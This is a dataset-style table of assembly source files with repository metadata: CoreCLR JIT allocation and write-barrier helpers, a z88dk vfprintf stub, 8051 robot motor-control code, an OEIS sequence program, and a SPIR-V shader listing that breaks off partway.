hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0e26ae6dfd969666091a9b11f16575c97b19f961 | 13,946 | asm | Assembly | src/vm/amd64/JitHelpers_Slow.asm | berniefitz82/coreclr | ba6b48522f052c079c04f632e96abe0d076d7ae4 | [
"MIT"
] | 1 | 2019-03-11T14:29:04.000Z | 2019-03-11T14:29:04.000Z | src/vm/amd64/JitHelpers_Slow.asm | berniefitz82/coreclr | ba6b48522f052c079c04f632e96abe0d076d7ae4 | [
"MIT"
] | null | null | null | src/vm/amd64/JitHelpers_Slow.asm | berniefitz82/coreclr | ba6b48522f052c079c04f632e96abe0d076d7ae4 | [
"MIT"
] | 2 | 2020-01-16T10:14:30.000Z | 2020-02-09T08:48:51.000Z | ; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
; See the LICENSE file in the project root for more information.
; ==++==
;
;
; ==--==
; ***********************************************************************
; File: JitHelpers_Slow.asm, see history in jithelp.asm
;
; Notes: These are ASM routinues which we believe to be cold in normal
; AMD64 scenarios, mainly because they have other versions which
; have some more performant nature which will be used in the best
; cases.
; ***********************************************************************
include AsmMacros.inc
include asmconstants.inc
; Min amount of stack space that a nested function should allocate.
MIN_SIZE equ 28h
EXTERN g_ephemeral_low:QWORD
EXTERN g_ephemeral_high:QWORD
EXTERN g_lowest_address:QWORD
EXTERN g_highest_address:QWORD
EXTERN g_card_table:QWORD
ifdef FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP
EXTERN g_sw_ww_table:QWORD
EXTERN g_sw_ww_enabled_for_gc_heap:BYTE
endif
ifdef WRITE_BARRIER_CHECK
; Those global variables are always defined, but should be 0 for Server GC
g_GCShadow TEXTEQU <?g_GCShadow@@3PEAEEA>
g_GCShadowEnd TEXTEQU <?g_GCShadowEnd@@3PEAEEA>
EXTERN g_GCShadow:QWORD
EXTERN g_GCShadowEnd:QWORD
endif
JIT_NEW equ ?JIT_New@@YAPEAVObject@@PEAUCORINFO_CLASS_STRUCT_@@@Z
CopyValueClassUnchecked equ ?CopyValueClassUnchecked@@YAXPEAX0PEAVMethodTable@@@Z
JIT_Box equ ?JIT_Box@@YAPEAVObject@@PEAUCORINFO_CLASS_STRUCT_@@PEAX@Z
g_pStringClass equ ?g_pStringClass@@3PEAVMethodTable@@EA
FramedAllocateString equ ?FramedAllocateString@@YAPEAVStringObject@@K@Z
JIT_NewArr1 equ ?JIT_NewArr1@@YAPEAVObject@@PEAUCORINFO_CLASS_STRUCT_@@_J@Z
INVALIDGCVALUE equ 0CCCCCCCDh
extern JIT_NEW:proc
extern CopyValueClassUnchecked:proc
extern JIT_Box:proc
extern g_pStringClass:QWORD
extern FramedAllocateString:proc
extern JIT_NewArr1:proc
extern JIT_GetSharedNonGCStaticBase_Helper:proc
extern JIT_GetSharedGCStaticBase_Helper:proc
extern JIT_InternalThrow:proc
ifdef _DEBUG
; Version for when we're sure to be in the GC, checks whether or not the card
; needs to be updated
;
; void JIT_WriteBarrier_Debug(Object** dst, Object* src)
LEAF_ENTRY JIT_WriteBarrier_Debug, _TEXT
ifdef WRITE_BARRIER_CHECK
; **ALSO update the shadow GC heap if that is enabled**
; Do not perform the work if g_GCShadow is 0
cmp g_GCShadow, 0
je NoShadow
; If we end up outside of the heap don't corrupt random memory
mov r10, rcx
sub r10, [g_lowest_address]
jb NoShadow
; Check that our adjusted destination is somewhere in the shadow gc
add r10, [g_GCShadow]
cmp r10, [g_GCShadowEnd]
ja NoShadow
; Write ref into real GC; see comment below about possibility of AV
mov [rcx], rdx
; Write ref into shadow GC
mov [r10], rdx
; Ensure that the write to the shadow heap occurs before the read from
; the GC heap so that race conditions are caught by INVALIDGCVALUE
mfence
; Check that GC/ShadowGC values match
mov r11, [rcx]
mov rax, [r10]
cmp rax, r11
je DoneShadow
mov r11, INVALIDGCVALUE
mov [r10], r11
jmp DoneShadow
; If we don't have a shadow GC we won't have done the write yet
NoShadow:
endif
mov rax, rdx
; Do the move. It is correct to possibly take an AV here, the EH code
; figures out that this came from a WriteBarrier and correctly maps it back
; to the managed method which called the WriteBarrier (see setup in
; InitializeExceptionHandling, vm\exceptionhandling.cpp).
mov [rcx], rax
ifdef WRITE_BARRIER_CHECK
; If we had a shadow GC then we already wrote to the real GC at the same time
; as the shadow GC so we want to jump over the real write immediately above
DoneShadow:
endif
ifdef FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP
; Update the write watch table if necessary
cmp byte ptr [g_sw_ww_enabled_for_gc_heap], 0h
je CheckCardTable
mov r10, rcx
shr r10, 0Ch ; SoftwareWriteWatch::AddressToTableByteIndexShift
add r10, qword ptr [g_sw_ww_table]
cmp byte ptr [r10], 0h
jne CheckCardTable
mov byte ptr [r10], 0FFh
endif
CheckCardTable:
; See if we can just quick out
cmp rax, [g_ephemeral_low]
jb Exit
cmp rax, [g_ephemeral_high]
jnb Exit
; Check if we need to update the card table
; Calc pCardByte
shr rcx, 0Bh
add rcx, [g_card_table]
; Check if this card is dirty
cmp byte ptr [rcx], 0FFh
jne UpdateCardTable
REPRET
UpdateCardTable:
mov byte ptr [rcx], 0FFh
ret
align 16
Exit:
REPRET
LEAF_END_MARKED JIT_WriteBarrier_Debug, _TEXT
endif
extern g_global_alloc_lock:dword
extern g_global_alloc_context:qword
LEAF_ENTRY JIT_TrialAllocSFastSP, _TEXT
mov r8d, [rcx + OFFSET__MethodTable__m_BaseSize]
; m_BaseSize is guaranteed to be a multiple of 8.
inc [g_global_alloc_lock]
jnz JIT_NEW
mov rax, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr] ; alloc_ptr
mov r10, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_limit] ; limit_ptr
add r8, rax
cmp r8, r10
ja AllocFailed
mov qword ptr [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr], r8 ; update the alloc ptr
mov [rax], rcx
mov [g_global_alloc_lock], -1
ret
AllocFailed:
mov [g_global_alloc_lock], -1
jmp JIT_NEW
LEAF_END JIT_TrialAllocSFastSP, _TEXT
; HCIMPL2(Object*, JIT_Box, CORINFO_CLASS_HANDLE type, void* unboxedData)
NESTED_ENTRY JIT_BoxFastUP, _TEXT
mov rax, [rcx + OFFSETOF__MethodTable__m_pWriteableData]
; Check whether the class has not been initialized
test dword ptr [rax + OFFSETOF__MethodTableWriteableData__m_dwFlags], MethodTableWriteableData__enum_flag_Unrestored
jnz JIT_Box
mov r8d, [rcx + OFFSET__MethodTable__m_BaseSize]
; m_BaseSize is guaranteed to be a multiple of 8.
inc [g_global_alloc_lock]
jnz JIT_Box
mov rax, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr] ; alloc_ptr
mov r10, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_limit] ; limit_ptr
add r8, rax
cmp r8, r10
ja NoAlloc
mov qword ptr [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr], r8 ; update the alloc ptr
mov [rax], rcx
mov [g_global_alloc_lock], -1
; Check whether the object contains pointers
test dword ptr [rcx + OFFSETOF__MethodTable__m_dwFlags], MethodTable__enum_flag_ContainsPointers
jnz ContainsPointers
; We have no pointers - emit a simple inline copy loop
mov ecx, [rcx + OFFSET__MethodTable__m_BaseSize]
sub ecx, 18h ; sizeof(ObjHeader) + sizeof(Object) + last slot
CopyLoop:
mov r8, [rdx+rcx]
mov [rax+rcx+8], r8
sub ecx, 8
jge CopyLoop
REPRET
ContainsPointers:
; Do call to CopyValueClassUnchecked(object, data, pMT)
push_vol_reg rax
alloc_stack 20h
END_PROLOGUE
mov r8, rcx
lea rcx, [rax + 8]
call CopyValueClassUnchecked
add rsp, 20h
pop rax
ret
NoAlloc:
mov [g_global_alloc_lock], -1
jmp JIT_Box
NESTED_END JIT_BoxFastUP, _TEXT
LEAF_ENTRY AllocateStringFastUP, _TEXT
; We were passed the number of characters in ECX
; we need to load the method table for string from the global
mov r11, [g_pStringClass]
; Instead of doing elaborate overflow checks, we just limit the number of elements
; to (LARGE_OBJECT_SIZE - 256)/sizeof(WCHAR) or less.
; This will avoid all overflow problems, as well as making sure
; big string objects are correctly allocated in the big object heap.
cmp ecx, (ASM_LARGE_OBJECT_SIZE - 256)/2
jae FramedAllocateString
mov r8d, [r11 + OFFSET__MethodTable__m_BaseSize]
; Calculate the final size to allocate.
; We need to calculate baseSize + cnt*2, then round that up by adding 7 and anding ~7.
lea r8d, [r8d + ecx*2 + 7]
and r8d, -8
inc [g_global_alloc_lock]
jnz FramedAllocateString
mov rax, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr] ; alloc_ptr
mov r10, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_limit] ; limit_ptr
add r8, rax
cmp r8, r10
ja AllocFailed
mov qword ptr [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr], r8 ; update the alloc ptr
mov [rax], r11
mov [g_global_alloc_lock], -1
mov [rax + OFFSETOF__StringObject__m_StringLength], ecx
ret
AllocFailed:
mov [g_global_alloc_lock], -1
jmp FramedAllocateString
LEAF_END AllocateStringFastUP, _TEXT
; HCIMPL2(Object*, JIT_NewArr1VC_UP, CORINFO_CLASS_HANDLE arrayMT, INT_PTR size)
LEAF_ENTRY JIT_NewArr1VC_UP, _TEXT
; We were passed a (shared) method table in RCX, which contains the element type.
; The element count is in RDX
; NOTE: if this code is ported for CORINFO_HELP_NEWSFAST_ALIGN8, it will need
; to emulate the double-specific behavior of JIT_TrialAlloc::GenAllocArray.
; Do a conservative check here. This is to avoid overflow while doing the calculations. We don't
; have to worry about "large" objects, since the allocation quantum is never big enough for
; LARGE_OBJECT_SIZE.
; For Value Classes, this needs to be 2^16 - slack (2^32 / max component size),
; The slack includes the size for the array header and round-up ; for alignment. Use 256 for the
; slack value out of laziness.
; In both cases we do a final overflow check after adding to the alloc_ptr.
cmp rdx, (65535 - 256)
jae JIT_NewArr1
movzx r8d, word ptr [rcx + OFFSETOF__MethodTable__m_dwFlags] ; component size is low 16 bits
imul r8d, edx ; signed mul, but won't overflow due to length restriction above
add r8d, dword ptr [rcx + OFFSET__MethodTable__m_BaseSize]
; round the size to a multiple of 8
add r8d, 7
and r8d, -8
inc [g_global_alloc_lock]
jnz JIT_NewArr1
mov rax, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr] ; alloc_ptr
mov r10, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_limit] ; limit_ptr
add r8, rax
jc AllocFailed
cmp r8, r10
ja AllocFailed
mov qword ptr [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr], r8 ; update the alloc ptr
mov [rax], rcx
mov [g_global_alloc_lock], -1
mov dword ptr [rax + OFFSETOF__ArrayBase__m_NumComponents], edx
ret
AllocFailed:
mov [g_global_alloc_lock], -1
jmp JIT_NewArr1
LEAF_END JIT_NewArr1VC_UP, _TEXT
; HCIMPL2(Object*, JIT_NewArr1OBJ_UP, CORINFO_CLASS_HANDLE arrayMT, INT_PTR size)
LEAF_ENTRY JIT_NewArr1OBJ_UP, _TEXT
; We were passed a (shared) method table in RCX, which contains the element type.
; The element count is in RDX
; NOTE: if this code is ported for CORINFO_HELP_NEWSFAST_ALIGN8, it will need
; to emulate the double-specific behavior of JIT_TrialAlloc::GenAllocArray.
; Verifies that LARGE_OBJECT_SIZE fits in 32-bit. This allows us to do array size
; arithmetic using 32-bit registers.
.erre ASM_LARGE_OBJECT_SIZE lt 100000000h
cmp rdx, (ASM_LARGE_OBJECT_SIZE - 256)/8 ; sizeof(void*)
jae OversizedArray
; In this case we know the element size is sizeof(void *), or 8 for x64
; This helps us in two ways - we can shift instead of multiplying, and
; there's no need to align the size either
mov r8d, dword ptr [rcx + OFFSET__MethodTable__m_BaseSize]
lea r8d, [r8d + edx * 8]
; No need for rounding in this case - element size is 8, and m_BaseSize is guaranteed
; to be a multiple of 8.
inc [g_global_alloc_lock]
jnz JIT_NewArr1
mov rax, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr] ; alloc_ptr
mov r10, [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_limit] ; limit_ptr
add r8, rax
cmp r8, r10
ja AllocFailed
mov qword ptr [g_global_alloc_context + OFFSETOF__gc_alloc_context__alloc_ptr], r8 ; update the alloc ptr
mov [rax], rcx
mov [g_global_alloc_lock], -1
mov dword ptr [rax + OFFSETOF__ArrayBase__m_NumComponents], edx
ret
AllocFailed:
mov [g_global_alloc_lock], -1
OversizedArray:
jmp JIT_NewArr1
LEAF_END JIT_NewArr1OBJ_UP, _TEXT
end
| 32.814118 | 127 | 0.645418 |
b5fcb32e727b14579b4c48780cdc0ea0c905089c | 621 | asm | Assembly | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/vfprintf.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/vfprintf.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/vfprintf.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z |
; int vfprintf(FILE *stream, const char *format, void *arg)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _vfprintf
EXTERN l0_vfprintf_callee
_vfprintf:
pop af
pop hl
pop de
pop bc
push bc
push de
push hl
push af
jp l0_vfprintf_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _vfprintf
EXTERN _vfprintf_unlocked
defc _vfprintf = _vfprintf_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 14.113636 | 59 | 0.500805 |
bb8dff6b5f61a402f3e8dbadfc4243ea0a15e805 | 6,135 | asm | Assembly | Multiprocessor-Communication/MC B/Bcomp3.asm | xfrings/8051-Experiments | c2b949a602812993096ceb0743d1c870d1286c79 | [
"MIT"
] | null | null | null | Multiprocessor-Communication/MC B/Bcomp3.asm | xfrings/8051-Experiments | c2b949a602812993096ceb0743d1c870d1286c79 | [
"MIT"
] | null | null | null | Multiprocessor-Communication/MC B/Bcomp3.asm | xfrings/8051-Experiments | c2b949a602812993096ceb0743d1c870d1286c79 | [
"MIT"
] | null | null | null | ;ASTER 02/03/2009 2135
;TO BE ASSEMBLED IN KEIL MICROVISION V3.60
;ARTIFICIAL INTELLIGENCE
;MICROCOMPUTER B
;REV 0 LAST UPDATED 04/03/2009 1610
;-----------------------------------------------------------------------------------------------------------
;SET THE ASSEMBLER FOR AT89S52
$NOMOD51
$INCLUDE (AT89X52.h)
;-----------------------------------------------------------------------------------------------------------
ORG 0000H
RESET: SJMP 0030H
ORG 0030H
START: NOP
MOV SP,#10H ;RELOCATE STACK OVER 10H
CLR A
MOV P0,A
MOV P1,A
MOV P2,A
MOV P3,#0FFH
LCALL DELAYIN
MOV R0,#20H ;CLEAR RAM FROM 20H TO 7FH
CLR A
CLRALL: MOV @R0,A
INC R0
CJNE R0,#7FH,CLRALL
MOV T2CON,#30H ;SET UP THE UART 9600BPS
MOV RCAP2H,#0FFH
MOV RCAP2L,#0DCH
ANL PCON,#7FH
MOV IE,#90H ;ENABLE INTERRUPTS: SERIAL
MOV IP,#10H
MOV SCON,#58H
SETB TR2 ;START BAUD GEN TIMER
;----------------------------------------------------------------------------------------------------------
;**********************************************************************************************************
;THE PROGRAM MAIN
;PASS DIRECTION IN R2,BANK0 : 00H->FORWARD, 01H->BACKWARD
MAIN:
MAIN_END: LJMP MAIN
;MAIN ENDS HERE
;**********************************************************************************************************
;----------------------------------------------------------------------------------------------------------
;INTERRUPT SERVICE ROUTINES
ORG 0023H
LJMP 1000H
ORG 1000H
SERCON: CLR TR2
JNB RI,TXI
CLR RI
MOV A,SBUF
JB 20H,SKIPC
CJNE A,#0CEH,EXITC
MOV SBUF,#9EH
SETB 20H
SJMP EXITC
SKIPC: CJNE A,#0BEH,SKIPC2
MOV SBUF,#0BEH
CLR 20H
SJMP EXITC
SKIPC2: SETB 21H
MOV SBUF,#9EH
SJMP EXITC
TXI: CLR TI
EXITC: SETB TR2
RETI
;----------------------------------------------------------------------------------------------------------
;MOTOR DRIVING ROUTINES
;MOTOR 1: BASE RIGHT MOTOR :: MOTOR CODE: 01H
BSERGT: NOP
CJNE R2,#00H,BACK1
SETB P2.0
CLR P2.1
MOV 34H,#00H
SJMP DONE1
BACK1: CJNE R2,#01H,RSTP1
CLR P2.0
SETB P2.1
MOV 34H,#01H
SJMP DONE1
RSTP1: CJNE R2,#02H,HSTP1
CLR P2.0
CLR P2.1
MOV 34H,#04H
SJMP DONE1
HSTP1: MOV R3,34H
CJNE R3,#00H,RREV1
RFOR1: CLR P2.0
CLR P2.1
LCALL DELAYHS
SETB P2.1
LCALL DELAYHS
CLR P2.1
MOV 34H,#04H
SJMP DONE1
RREV1: CJNE R3,#01H,DONE1
CLR P2.0
CLR P2.1
LCALL DELAYHS
SETB P2.0
LCALL DELAYHS
CLR P2.0
MOV 34H,#04H
DONE1: NOP
RET
;MOTOR 2: BASE LEFT MOTOR :: MOTOR CODE: 02H
BSELFT: NOP
CJNE R2,#00H,BACK2
SETB P2.2
CLR P2.3
MOV 38H,#00H
SJMP DONE2
BACK2: CJNE R2,#01H,RSTP2
CLR P2.2
SETB P2.3
MOV 38H,#01H
SJMP DONE2
RSTP2: CJNE R2,#02H,HSTP2
CLR P2.2
CLR P2.3
MOV 38H,#04H
SJMP DONE2
HSTP2: MOV R3,38H
CJNE R3,#00H,RREV2
RFOR2: CLR P2.2
CLR P2.3
LCALL DELAYHS
SETB P2.3
LCALL DELAYHS
CLR P2.3
MOV 38H,#04H
SJMP DONE2
RREV2: CJNE R3,#01H,DONE2
CLR P2.2
CLR P2.3
LCALL DELAYHS
SETB P2.2
LCALL DELAYHS
CLR P2.2
MOV 38H,#04H
DONE2: NOP
RET
;MOTOR 3: SHOULDER RIGHT MOTOR :: MOTOR CODE: 03H
SHLRGT: NOP
CJNE R2,#00H,BACK3
SETB P2.4
CLR P2.5
MOV 3CH,#00H
SJMP DONE1
BACK3: CJNE R2,#01H,RSTP3
CLR P2.4
SETB P2.5
MOV 3CH,#01H
SJMP DONE3
RSTP3: CJNE R2,#02H,HSTP3
CLR P2.4
CLR P2.5
MOV 3CH,#04H
SJMP DONE3
HSTP3: MOV R3,3CH
CJNE R3,#00H,RREV3
RFOR3: CLR P2.4
CLR P2.5
LCALL DELAYHS
SETB P2.5
LCALL DELAYHS
CLR P2.5
MOV 3CH,#04H
SJMP DONE3
RREV3: CJNE R3,#01H,DONE3
CLR P2.4
CLR P2.5
LCALL DELAYHS
SETB P2.4
LCALL DELAYHS
CLR P2.4
MOV 3CH,#04H
DONE3: NOP
RET
;MOTOR 4: SHOULDER LEFT MOTOR :: MOTOR CODE: 04H
SHLLFT: NOP
CJNE R2,#00H,BACK4
SETB P2.6
CLR P2.7
MOV 40H,#00H
SJMP DONE4
BACK4: CJNE R2,#01H,RSTP4
CLR P2.6
SETB P2.7
MOV 40H,#01H
SJMP DONE4
RSTP4: CJNE R2,#02H,HSTP4
CLR P2.6
CLR P2.7
MOV 40H,#04H
SJMP DONE4
HSTP4: MOV R3,40H
CJNE R3,#00H,RREV4
RFOR4: CLR P2.6
CLR P2.7
LCALL DELAYHS
SETB P2.7
LCALL DELAYHS
CLR P2.7
MOV 40H,#04H
SJMP DONE4
RREV4: CJNE R3,#01H,DONE4
CLR P2.6
CLR P2.7
LCALL DELAYHS
SETB P2.6
LCALL DELAYHS
CLR P2.6
MOV 40H,#04H
DONE4: NOP
RET
;MOTOR 5: ARM ELBOW RIGHT MOTOR :: MOTOR CODE : 05H
ELRGT: NOP
CJNE R2,#00H,BACK5
SETB P1.0
CLR P1.1
MOV 44H,#00H
SJMP DONE5
BACK5: CJNE R2,#01H,RSTP5
CLR P1.0
SETB P1.1
MOV 44H,#01H
SJMP DONE5
RSTP5: CJNE R2,#02H,HSTP5
CLR P1.0
CLR P1.1
MOV 44H,#04H
SJMP DONE5
HSTP5: MOV R3,44H
CJNE R3,#00H,RREV5
RFOR5: CLR P1.0
CLR P1.1
LCALL DELAYHS
SETB P1.1
LCALL DELAYHS
CLR P1.1
MOV 44H,#04H
SJMP DONE5
RREV5: CJNE R3,#01H,DONE5
CLR P1.0
CLR P1.1
LCALL DELAYHS
SETB P1.0
LCALL DELAYHS
CLR P1.0
MOV 44H,#04H
DONE5: NOP
RET
;MOTOR 6: ARM ELBOW RIGHT MOTOR :: MOTOR CODE : 06H
ELLFT: NOP
CJNE R2,#00H,BACK6
SETB P1.2
CLR P1.3
MOV 48H,#00H
SJMP DONE6
BACK6: CJNE R2,#01H,RSTP6
CLR P1.2
SETB P1.3
MOV 48H,#01H
SJMP DONE6
RSTP6: CJNE R2,#02H,HSTP6
CLR P1.2
CLR P1.3
MOV 48H,#04H
SJMP DONE6
HSTP6: MOV R3,48H
CJNE R3,#00H,RREV6
RFOR6: CLR P1.2
CLR P1.3
LCALL DELAYHS
SETB P1.3
LCALL DELAYHS
CLR P1.3
MOV 48H,#04H
SJMP DONE6
RREV6: CJNE R3,#01H,DONE6
CLR P1.2
CLR P1.3
LCALL DELAYHS
SETB P1.2
LCALL DELAYHS
CLR P1.2
MOV 48H,#04H
DONE6: NOP
RET
;MOTOR 7: RIGHT CLASPER :: MOTOR CODE: 07H
;MOTOR 8: LEFT CLASPER :: MOTOR CODE : 08H
;-------------------------------------------------------------------------------------------------
;DELAY ROUTINES
;DELAY INIT
DELAYIN: MOV R7,#07H
MOV R6,#0FFH
MOV R5,#0FFH
DJNZ R5,$
DJNZ R6,$-2
DJNZ R7,$-4
RET
DELAYHS: MOV R7,#0A0H
DJNZ R7,$
RET
;--------------------------------------------------------------------------------------------------
END | 17.578797 | 108 | 0.525509 |
bf6ef4c889c9b78bc80cc4c48f5f3ab97746f791 | 569 | asm | Assembly | oeis/024/A024033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/024/A024033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/024/A024033.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A024033: a(n) = 3^n - n^10.
; 1,2,-1015,-59022,-1048495,-9765382,-60465447,-282473062,-1073735263,-3486764718,-9999940951,-25937247454,-61916832783,-137856897526,-289249872007,-576636041718,-1099468581055,-2015864760286,-3570079806135,-6129903996334,-10236513215599,-16669420624998,-26528541731815,-41332368034822,-63120951428895,-94520143031182,-138625229825047,-198265534609662,-273319974240463,-352076855935318,-384598867905351,-201954890696854,727120282009217,4027481581291074,14612803945606793,47272997745484082
mov $1,3
pow $1,$0
pow $0,10
sub $1,$0
mov $0,$1
| 63.222222 | 488 | 0.810193 |
16a5267786b1a0173d2211941d4273b090077997 | 26,330 | asm | Assembly | coverage/IN_CTS/0481-COVERAGE-brw-shader-197/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | null | null | null | coverage/IN_CTS/0481-COVERAGE-brw-shader-197/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 47 | 2021-03-11T07:42:51.000Z | 2022-03-14T06:30:14.000Z | coverage/IN_CTS/0481-COVERAGE-brw-shader-197/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 4 | 2021-03-09T13:37:19.000Z | 2022-02-25T07:32:11.000Z | ; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 445
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %441
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %10 "func(f1;"
OpName %9 "x"
OpName %12 "a"
OpName %16 "i"
OpName %27 "i"
OpName %35 "i"
OpName %43 "i"
OpName %51 "i"
OpName %65 "i"
OpName %73 "i"
OpName %81 "i"
OpName %89 "i"
OpName %97 "i"
OpName %105 "i"
OpName %146 "f"
OpName %147 "i"
OpName %155 "i"
OpName %163 "i"
OpName %171 "i"
OpName %179 "i"
OpName %187 "i"
OpName %195 "i"
OpName %203 "i"
OpName %211 "i"
OpName %219 "i"
OpName %227 "i"
OpName %235 "i"
OpName %243 "i"
OpName %251 "i"
OpName %259 "i"
OpName %267 "i"
OpName %275 "i"
OpName %283 "i"
OpName %291 "i"
OpName %299 "i"
OpName %307 "i"
OpName %315 "i"
OpName %323 "i"
OpName %331 "i"
OpName %339 "i"
OpName %347 "i"
OpName %355 "i"
OpName %363 "i"
OpName %371 "buf_push"
OpMemberName %371 0 "five"
OpName %373 ""
OpName %374 "param"
OpName %441 "_GLF_color"
OpMemberDecorate %371 0 Offset 0
OpDecorate %371 Block
OpDecorate %441 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypePointer Function %6
%8 = OpTypeFunction %6 %7
%13 = OpConstant %6 1
%14 = OpTypeInt 32 1
%15 = OpTypePointer Function %14
%17 = OpConstant %14 0
%24 = OpConstant %14 1
%25 = OpTypeBool
%61 = OpConstant %6 0
%143 = OpConstant %6 2
%371 = OpTypeStruct %6
%372 = OpTypePointer PushConstant %371
%373 = OpVariable %372 PushConstant
%375 = OpTypePointer PushConstant %6
%439 = OpTypeVector %6 4
%440 = OpTypePointer Output %439
%441 = OpVariable %440 Output
%442 = OpConstantComposite %439 %13 %61 %61 %13
%444 = OpConstantComposite %439 %61 %61 %61 %61
%4 = OpFunction %2 None %3
%5 = OpLabel
%146 = OpVariable %7 Function
%147 = OpVariable %15 Function
%155 = OpVariable %15 Function
%163 = OpVariable %15 Function
%171 = OpVariable %15 Function
%179 = OpVariable %15 Function
%187 = OpVariable %15 Function
%195 = OpVariable %15 Function
%203 = OpVariable %15 Function
%211 = OpVariable %15 Function
%219 = OpVariable %15 Function
%227 = OpVariable %15 Function
%235 = OpVariable %15 Function
%243 = OpVariable %15 Function
%251 = OpVariable %15 Function
%259 = OpVariable %15 Function
%267 = OpVariable %15 Function
%275 = OpVariable %15 Function
%283 = OpVariable %15 Function
%291 = OpVariable %15 Function
%299 = OpVariable %15 Function
%307 = OpVariable %15 Function
%315 = OpVariable %15 Function
%323 = OpVariable %15 Function
%331 = OpVariable %15 Function
%339 = OpVariable %15 Function
%347 = OpVariable %15 Function
%355 = OpVariable %15 Function
%363 = OpVariable %15 Function
%374 = OpVariable %7 Function
OpStore %146 %61
OpStore %147 %17
OpBranch %148
%148 = OpLabel
OpLoopMerge %150 %151 None
OpBranch %152
%152 = OpLabel
%153 = OpLoad %14 %147
%154 = OpSLessThan %25 %153 %24
OpBranchConditional %154 %149 %150
%149 = OpLabel
OpStore %155 %17
OpBranch %156
%156 = OpLabel
OpLoopMerge %158 %159 None
OpBranch %160
%160 = OpLabel
%161 = OpLoad %14 %155
%162 = OpSLessThan %25 %161 %24
OpBranchConditional %162 %157 %158
%157 = OpLabel
OpStore %163 %17
OpBranch %164
%164 = OpLabel
OpLoopMerge %166 %167 None
OpBranch %168
%168 = OpLabel
%169 = OpLoad %14 %163
%170 = OpSLessThan %25 %169 %24
